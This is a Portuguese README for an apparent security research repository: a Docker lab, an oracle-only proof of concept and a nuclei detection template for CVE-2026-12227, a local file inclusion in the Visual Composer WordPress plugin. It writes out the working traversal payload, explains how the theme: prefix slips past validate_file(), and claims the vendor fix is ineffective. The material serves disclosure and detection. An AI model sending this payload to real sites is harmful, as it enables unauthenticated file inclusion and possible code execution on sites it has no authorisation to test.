Laboratório de validação Docker e PoC de oráculo seguro para CVE-2026-12227, um LFI não autenticado no Visual Composer via vcv-template, com um template de detecção nuclei.
Material de pesquisa de segurança para reproduzir e validar o CVE-2026-12227: uma inclusão local de ficheiro não autenticada na resolução de templates de página do Visual Composer Website Builder (CVSS 3.1 9.8), mais uma discrepância verificada na correção do fornecedor (ver abaixo).
locate_template(), proveniente da correção do CVE-2026-87902) - o código
do plugin em si nunca foi corrigido até à versão 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98Utilize apenas em sistemas que possui ou para os quais tem autorização explícita de teste. O PoC dispara inclusões de oráculo inofensivas (saída padrão de
wp-links-opml.php/xmlrpc.php). Sem colocação de ficheiros, sem escritas, sem payloads de RCE.
Estado: comprovado no laboratório fornecido.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
A prova ao nível de marcador (um ficheiro PHP plantado em uploads/ incluído e
executado, GET não autenticado) faz parte da evidência do laboratório e é
reproduzida por ./lab verify na variante vulnerável.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
liga-se a template_include com prioridade 11 e sem verificação de autenticação:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() rejeita .. literal. Mas o valor só é fundido após a
verificação, pelo que dividir cada travessia através de uma fronteira theme:
passa a verificação:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) devolve
$_POST/$_GET/$_REQUEST em bruto, pelo que nada a montante o limpa também.
locate_template() resolve o candidato com file_exists(), que respeita
segmentos ...
O WordPress 7.1.2 (a correção do CVE-2026-87902) adicionou
_wp_is_template_path_allowed() dentro de locate_template()
(wp-includes/template.php). Essa barreira do core rejeita o candidato de
travessia fundido, pelo que no WP 7.1.2+ esta cadeia do plugin é mascarada
pelo core - o plugin nunca foi corrigido. Atribuição verificada em
laboratório: no 7.1.2 o sink ainda é executado mas fica confinado ao diretório
do tema; no 7.1.1 escapa.
Consequência prática: um site a correr Visual Composer 45.16.3 (a versão atual, anunciada como corrigida) no WordPress <= 7.1.1 continua hoje vulnerável a LFI não autenticado. Apenas a atualização do core do WordPress o neutraliza.
Requisitos: Docker com Compose v2, Python 3.10+ no host.
./lab verify
Executa três controlos: vulnerável (WP 7.1.1 + VC 45.16.1, o oráculo deve disparar), corrigido (WP 7.1.2 + VC 45.16.1, o oráculo deve permanecer silencioso), mais recente (WP 7.1.1 + VC 45.16.3, o oráculo deve disparar - a demonstração da discrepância da correção).
Controlo vulnerável:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Controlo corrigido:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
Execute o PoC manualmente (loopback por omissão; alvos externos autorizados requerem a substituição explícita):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
O template nuclei (nuclei/cve-2026-12227.yaml) dispara os mesmos payloads de
oráculo em âncoras homepage + page_id a profundidades 3-6 com
stop-at-first-match.
| Combinação | Resultado |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= código 45.16.0) | LFI reproduzido (oráculo + execução de marcador plantado) |
| WP 7.1.1 + VC 45.16.3 (versão atual) | LFI ainda dispara |
| WP 7.1.2 + VC 45.16.1 | Silencioso (mascarado pela barreira do core) |
| VC 45.16.2 | diff da correção revisto; caminho vulnerável inalterado (não executado separadamente) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
Não versionado: assets/ (zips do plugin), .lab-state, __pycache__/.
| Afirmação | Estado |
|---|---|
| LFI não autenticado até execução de PHP fora do diretório do tema | Comprovado (oráculo + marcador plantado) |
| Correção do fornecedor ausente até 45.16.3 | Comprovado (diff de código + disparo ao vivo no 45.16.3) |
| Mascaramento pelo core do WP 7.1.2 | Comprovado (mesmo pedido silencioso no 7.1.2, dispara no 7.1.1) |
| Semântica de profundidade | 3 subidas até ao docroot a partir de themes//; a varredura cobre 3-6 |
| RCE via cadeias pearcmd/write em alvos reais | Não executado (PoC apenas com oráculo seguro) |
| 45.16.0 (versão original afetada) | Código idêntico ao 45.16.1; o seu zip do wp.org não tem vendor/ e não pode ser instalado |
Os advisories indicam que a correção chegou na 45.16.1, mas o caminho de
código vulnerável está inalterado em todas as versões até à 45.16.3
(verificado por diffs de árvore e disparo ao vivo). Se mantém o Visual
Composer: viewPageTemplate() precisa de revalidar (ou recusar) o valor após
a remoção de theme:, não antes. Os sites não devem confiar em atualizações
do plugin para este caso - a atualização do core do WordPress 7.1.2 é o que
realmente o fecha.
Execute este repositório apenas em sistemas que possui ou para os quais tem
autorização explícita de teste. O driver do laboratório recusa variantes
desconhecidas, o PoC recusa alvos não-loopback a menos que
--allow-authorized-non-loopback seja fornecido, e a porta do Compose está
ligada a 127.0.0.1.
Consulte SECURITY.md para o tratamento de divulgação. Este repositório não inclui alvos de produção, dados de clientes, tokens de acesso ou evidências de sistemas reais.
MIT - consulte LICENSE.